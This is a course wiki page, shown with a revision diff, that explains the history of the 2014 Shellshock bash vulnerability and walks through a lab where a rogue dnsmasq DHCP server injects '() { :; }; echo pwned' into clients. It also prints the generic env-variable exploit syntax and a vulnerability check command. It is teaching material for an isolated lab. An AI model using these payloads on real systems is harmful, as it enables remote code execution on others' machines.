Difference between revisions of "Shellshock"
Line 29: | Line 29: | ||
env variablename='<value>' | env variablename='<value>' | ||
Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used: | Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used: | ||
env x='() { | env x='() { :; }; <exploit code>' | ||
== Practical Shellshock DHCP Example == | == Practical Shellshock DHCP Example == |
Revision as of 17:38, 8 January 2023
Summary
This documentation is about the Shellshock bug found in 2014.
Requirements
- Operating system: Seed Ubuntu 12.04, Ubuntu 20.04
- Packages: dnsmasq
History
Initial Discovery
On August the 5th, 1989 a bug was accidentally introduced into the development version of bash by the then-lead developer Brian Fox. A bug that was later released within the version 1.03 of bash and existed 25 years with presumable nobody noticing. On the 24th of September 2014 an exploit which was later named Shellshock was publicly disclosed and assigned the CVE identifier CVE-2014-6271, CVE-2014-6277 and CVE-2014-6278. The exploit was originally found by Stéphane Chazelas on the 12th of September 2014, an french software developer that contributes to the UNIX and Free Software/OpenSource community in his spare time. He originally called the exploit Bashdoor but this name did not catch on. He reported the bug to the lead developer of bash Chet Ramey, which developed a fix for it, which was rolled out by major distributors such as Debian, Red Hat and Ubuntu as part of an coordinated disclosure.
Discovery of a bigger problem
After fixing the initial bug, security researchers noticed that the bash shell was still parsing every environment variable that began with the sequence "() \{". As long as the bash would parse untrusted data, it could lead to a security exploit. The focus of the researches and developers shifted their attention towards the bash parser, although they never thought that the bash parser was security-relevant. On September the 24th, 2014 a security researcher named Tavis Ormandy reported and published an example of a bug in the bash parser, that could be exploited. Because of the failed fix of the previous exploits a new CVE identifier was assigned namely CVE-2014-7169. Just one day after this, a new exploit was found by Florian Weimer, it was assigned the identifier CVE-2014-7186 and it described a Denial of Service exploit which could be executed with the use of the initial Shellshock exploit.
Aftermath
The impact of this exploit was enormous, basically most Unix-like systems use the bash shell, not only Linux also some distributions of BSD, Apple MacOS X and Cygwin. A big problem was that the first patch didn't fix the exploit in its entirety, the vulnerability and proof of concept of the exploit was known to the public.
Functionality
The Shellshock vulnerability is enumerated as an improper neutralization of specialelements used in an OS Command (’OS Command Injection’) by the National Instituteof Standards and Technology. It can be exploited to give an attacker remote codeexecution. The vulnerability occurs when defining a environment variable. So basicallyevery system where an attacker could control the content of an environment variablewas exploitable. This included many CGI web applications that were invoked via bash,sshd using ForceCommand and DHCP clients connecting to subverted DHCP servers.
With the export command, it is possible to export shell variables but also shellfunctions. In the bash version with the Shellshock vulnerability a function definitionstarted with ”(){” in the value of the exported variable. The vulnerability existedbecause bash does not stop processing after the function definition, it continues toparse and execute shell commands.Environment variables can be defined with the following command:
env variablename='<value>'
Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used:
env x='() { :; }; <exploit code>'
Practical Shellshock DHCP Example
Setup
I used VMware Workstation Pro, but you might aswell use the virtualisation tool of your choice. I downloaded a SEED Ubuntu12.04 VM (32-bit) from this website and the latest version of Ubuntu from the official website, if you have a lack of memory just use the server version. For demonstration purposes I used two client machines, but you only need one SEED machine for the example to work. Both client machines and the server are configured to be in a virtual network. This can be done in your virtualisation tool.
Check Vulnerablity
After successfully setting up the machines, we now check if the clients are vulnerable to Shellshock. To check for the Shellshock vulnerability you can use the following command:
env x='() { :;}; echo shellshocked' bash -c ""
Install & Configurating DNSMASQ
First we have to install the package dnsmasq:
apt-get install dnsmasq
After successfully installing dnsmasq we have to configure it. We can do that in the /etc/dnsmasq.conf. I changed the following lines:
port=0 interface=ens33 dhcp-range=192.168.123.10,192.168.123.250,12h dhcp-option-force=100,() { :; }; echo pwned
Now we need to restart the service and check if any errors occured.
service dnsmasq restart service dnsmasq status
Configurating Client & Server IPs
Server
We have to give the server machine a static ip address. I did it with netplan. If it isn't already installed you can install it with
apt-get install netplan
Now we have to edit the file /etc/netplan/01-network.yaml. My netplan looks as follows:
network: version: 2 renderer: networkd ethernets: ens33: addresses: - 192.168.123.1/24
After saving the file we need to apply the netplan we can do that with the command
sudo netplan apply
To check if the network interface got configured we can perform the command
ifconfig
Client
For the client side we need to configure that it requests an ip-address from the server. We can do that by editing the /etc/network/interfaces file as follows:
auto eth0 iface eth0 inet dhcp
Perform the attack
When the client requests an ip address, it executes the payload defined in the dnsmasq config. We can manually request a new ip by performing the following command:
sudo /etc/init.d/networking restart
As we can see the payload gets executed. For further exploitation you can change the payload in the dnsmasq config.
Courses
- Ausgewählte Kapitel der IT-Security (2021/2022)